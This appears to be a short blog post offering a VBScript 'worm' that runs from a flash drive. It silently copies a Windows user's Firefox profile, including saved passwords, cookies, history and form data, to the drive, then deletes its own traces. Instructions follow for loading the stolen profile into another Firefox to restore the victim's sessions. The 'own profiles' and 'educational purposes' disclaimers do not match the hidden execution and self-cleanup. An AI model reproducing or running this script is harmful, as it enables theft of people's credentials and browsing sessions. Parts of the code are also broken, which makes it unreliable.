Grab Firefox Session From Flash Drive | Windows [Passwords/History]

The following code can be ran from a flashdrive as 'worm'.vbs. It will copy the user profile folder containing all information from users firefox sessions including stored passwords.

Once copied, the user profile folder can replace an existing user profile folder on another computer and the session will restore with saved passwords, submission forms, history, and bookmark information as it was on the computer you grabbed it from.

' Canidison
' By Jar Jar Binks
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set WshShell = Createobject("")
WshShell.CurrentDirectory = "c:\"
If objFSO.FolderExists("C:\Users\All Users\Appdata") Then
End if
Set objFolder = objFSO.CreateFolder("C:\Users\All Users\Appdata")
outFile0=("C:\Users\All Users\cookies.bat")
Set objFile = objFSO.CreateTextFile(outFile0,True)
objFile.Write "cd %appdata%" & vbCrLf
' Replace D: With whatever drive letter applies
objFile.Write "xcopy /s Mozilla\Firefox\Profiles\* ""D:"""
CreateObject("WScript.Shell").Run("""C:\users\All users\cookies.bat"""), 0, true
outFile66=("C:\Users\All Users\delete.vbs")
Set objFile = objFSO.CreateTextFile(outFile66,True)
objFile.write "Set objFSO = CreateObject(""Scripting.FileSystemObject"")" & vbCrLf
objFile.write "objFSO.DeleteFolder(""C:\Users\All Users\Appdata"")" & vbCrLf
objFile.write "objFSO.DeleteFile(""C:\Users\All Users\Cookies.bat"")" & vbCrLf
objFile.write "objFSO.DeleteFile(""C:\Users\All Users\delete.vbs"")"
CreateObject("WScript.Shell").Run("""C:\users\All users\delete.vbs"""), 0, false

The folder copied to your flashdrive will be something like 'dnh8gkr0.default'. To replace your own firefox user profile with the copied profile type Windows+R, then %appdata%, and hit enter.

Go to Mozilla\Firefox\Profiles\ and copy the name of your own profile (which will be something like dnh8gkr0.default) and rename the folder on your flashdrive whats on your clipboard.

Now destroy your own folder and replace it with the folder on your flashdrive. Follow all these steps and open Firefox. You will be prompted to restore session. Restore session.

Boom. Saved passwords, saved form documents and history. This is to be used only as a means to transfer your own firefox profiles Furthermore I am not responsible for your actions.

"For Educational Purposes Only"

No comments

Note: Only a member of this blog may post a comment.

Powered by Blogger.